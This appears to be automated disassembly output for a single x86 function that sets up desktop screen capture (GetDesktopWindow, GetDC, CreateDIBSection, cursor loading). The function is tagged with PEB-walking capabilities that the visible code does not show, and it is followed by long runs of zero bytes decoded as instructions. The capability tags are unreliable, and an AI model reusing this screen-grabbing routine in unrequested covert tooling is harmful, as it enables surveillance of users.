Function at 0x1000e4e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001a15e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x1001b4e4
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x1000e59b
xor ebp, ebp
push str.GetTickCount
push str.KERNEL32.dll
mov dword [esp + 0x64], ebp
mov dword [esi], 0x1001b4e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x64]
mov edi, eax
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x1000e5ed.2
xor edx, edx
mov dl, byte [eax + 0x1000e7a8]
jmp dword [edx*4 + 0x1000e7a0]
mov dword [esi + 0x70], ecx
jmp 0x1000e600
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.1000efb0
test al, al
jne 0x1000e621
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call edi
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov ecx, dword [esi + 0x44]
mov dword [esi + 0x30], ebp
push ecx
mov byte [esi + 0x24], al
call dword [0x10021d08]
mov edx, dword [esi + 0x44]
mov dword [esi + 0x4c], eax
push edx
call dword [0x10021d08]
push ebp
mov dword [esi + 0x80], eax
call dword [0x10021d08]
push ebp
mov dword [esi + 0x48], eax
call dword [0x10021d08]
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
push 1
lea edi, [esi + 0x5c]
lea ebx, [esi + 0x60]
push eax
push ecx
mov ecx, esi
mov dword [edi], ebp
mov dword [ebx], ebp
call fcn.1000ec90
mov edx, dword [esi + 0x2c]
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x28]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000ec90
mov edx, dword [esi + 0x28]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x70]
push 1
push edx
push eax
mov ecx, esi
call fcn.1000ec90
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x44]
push ebp
push ebp
push edi
mov edi, dword [sym.imp.GDI32.dll_CreateDIBSection]
push ebp
push ecx
push edx
mov dword [esi + 0x6c], eax
call edi
push ebp
push ebp
mov dword [esi + 0x54], eax
push ebx
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
push ebp
push eax
push ecx
call edi
mov ecx, dword [esi + 0x44]
push ebp
lea edx, [esi + 0x78]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x68]
push ebp
push edx
push ebp
push eax
push ecx
call edi
mov edx, dword [esi + 0x58]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push ebp
lea ecx, [esi + 0x34]
push ebp
push ecx
call dword [0x10021d04]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], ebp
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], 0x10
xor byte [ecx - 0x4e4ff000], 0
adc byte [eax - 0x2fefff1e], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
